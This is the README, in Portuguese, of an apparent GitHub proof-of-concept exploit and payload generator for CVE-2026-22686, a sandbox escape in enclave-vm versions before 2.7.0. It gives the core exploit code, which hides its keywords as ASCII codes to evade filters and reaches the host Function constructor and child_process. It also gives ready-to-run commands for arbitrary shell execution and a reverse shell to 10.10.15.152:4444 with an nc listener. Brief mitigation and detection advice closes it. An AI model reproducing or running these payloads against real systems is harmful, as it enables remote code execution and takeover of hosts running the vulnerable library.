Prova de conceito de exploit e gerador de payload para CVE-2026-22686, uma fuga de sandbox no enclave-vm <2.7.0 que permite execução de código arbitrário e reverse shells.
Um exploit de prova de conceito (PoC) e gerador de payload para CVE-2026-22686, uma vulnerabilidade crítica de escape de sandbox no enclave-vm em versões anteriores à 2.7.0, permitindo execução de código arbitrário dentro do runtime Node.js do host.
⚠️ Aviso: Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso contra sistemas sem consentimento prévio por escrito é ilegal. O autor não assume qualquer responsabilidade por qualquer uso indevido.
enclave-vm é uma biblioteca de sandboxing JavaScript projetada para executar com segurança código não confiável dentro de um ambiente controlado. Nas versões < 2.7.0, uma falha na forma como os objetos de erro do lado do host são expostos ao sandbox permite que um atacante percorra a cadeia de protótipos e alcance o construtor Function do host, escapando efetivamente do sandbox.
Este repositório contém:
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Crítico) |
| CWE | CWE-693 — Falha no Mecanismo de Proteção |
| Componente | enclave-vm |
| Afetado | < 2.7.0 |
| Corrigido em | 2.7.0 |
| Impacto | Escape de sandbox → execução de código arbitrário (RCE) |
Quando uma chamada de ferramenta em sandbox falha, o enclave-vm expõe o objeto Error do lado do host de volta ao código em sandbox. Como esse objeto de erro mantém sua cadeia de protótipos original do ambiente host, um atacante pode percorrer a cadeia da seguinte forma:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Uma vez obtido o construtor Function do host, o atacante pode compilar e executar JavaScript arbitrário no runtime do host — contornando completamente o sandbox.
O exploit segue estas etapas:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor, que é o Function do host.Function do host e executá-lo.child_process e executa um comando shell arbitrário (ou gera um reverse shell).Todas as palavras-chave sensíveis (constructor, __proto__, __lookupGetter__, prototype) são ofuscadas como códigos de caracteres ASCII para contornar filtros estáticos simples.
Sem dependências externas — usa apenas a biblioteca padrão do Python.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Requisitos:
python3 generator.py
Será solicitado que você:
Em seguida, copie o payload gerado e cole-o na entrada do sandbox vulnerável.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (atacante — listener):
nc -lvnp 4444
Terminal 2 (gerador):
python3 generator.py --revshell 10.10.15.152 4444
Copie o payload resultante e cole-o no sandbox. Você deve receber um shell no Terminal 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Descrição |
|---|---|
-c, --command | Comando shell a executar |
--revshell LHOST LPORT | Gera um payload de reverse shell |
--raw | Imprime apenas o payload (sem banner, sem decoração) |
--lang {fr,en} | Força o idioma da interface |
-h, --help | Mostra ajuda e exemplos |
const s = (...args) => String.fromCharCode(...args);
Um pequeno auxiliar para decodificar arrays de códigos ASCII em tempo de execução.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Evita filtros triviais baseados em strings.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
O Function do host é então usado para executar o comando do atacante via child_process.execSync().
Para Desenvolvedores:
enclave-vm para >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Para Usuários / Organizações:
Detecção:
Procure por requisições HTTP ou envios de código contendo callTool('NONEXISTENT', __lookupGetter__, longos arrays de literais inteiros separados por vírgula, ou child_process / execSync.
Este projeto é publicado estritamente para pesquisa educacional e de segurança defensiva. Destina-se a pesquisadores de segurança, testadores de penetração autorizados e jogadores de CTF.
Não use esta ferramenta contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições (CFAA nos EUA, Computer Misuse Act no Reino Unido, Artigo 323-1 na França) e pode resultar em penalidades criminais severas.
Ao usar este software, você concorda que o autor não é responsável por quaisquer danos ou consequências legais resultantes de seu uso.
Este projeto está licenciado sob a Licença MIT — consulte o arquivo LICENSE para detalhes.
enclave-vm pela divulgação responsável e correçãoPull requests são bem-vindos. Para mudanças importantes, abra uma issue primeiro.
Melhorias sugeridas:
vm2, isolated-vm)